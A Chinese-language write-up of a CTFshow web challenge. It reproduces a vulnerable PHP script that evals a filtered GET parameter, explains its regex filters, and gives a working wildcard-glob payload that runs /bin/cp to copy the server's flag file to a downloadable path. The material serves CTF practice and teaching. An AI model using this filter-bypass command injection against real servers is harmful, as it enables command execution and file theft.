CTFshow 红包题二弹

CTFshow 红包题二弹

孤陋寡闻的我新发现了一个ctf平台,然后想想好久没发文章了,干脆来发个文章水水积分吧~~

首先开启题目

image.png

杰捏吗不是亏了嘛发现晚了莫得钱拿了😭

不管了,do it!

image.png

where is the flag?

flag在哪

按照惯例先查看页面源码有什么信息

image.png

找到个hint(提示)

?cmd=

这是提示有一个get请求的传参

试着发送一下,看看能不能命令执行

image.png

发送了?cmd=ls

得到了题目源码

<?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
  
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
  
        }
  
     ?>

if(isset($_GET['cmd']))

判断get请求传参是否为空,不为空则高亮当前文件内容

if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd))

正则匹配大写A-Z小写a-oq-z和0-9的变量$cmd的参数匹配到了就结束程序并打印cerror,相当于除了p字母以外都给过滤了

if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd))

正则匹配除了 ?/以外的特殊字符

eval($cmd);

最后,再把变量$cmd当成php代码执行

只有一个小写的p还有?和/没给过滤

实在不晓得咋做了,去看了网上大佬的wp,有两种解法

一个是利用php的临时上传文件进行绕过,但是这个方法我咋试都不成功,所以就用的第二种

直接模糊匹配

?cmd=?><?=/???/?p /???????? p.p`

这一句相当于

?cmd=?><?=/bin/cp /flag.txt p.p

ps:这个?>是对开头的 <?php进行闭合传参过去了就相当于<?php $_GET['?><?=/bin/cp /flag.txt p.p;']

然后访问p.p文件就会自动下载,flag就在文件里了

image.png

image.png

完成~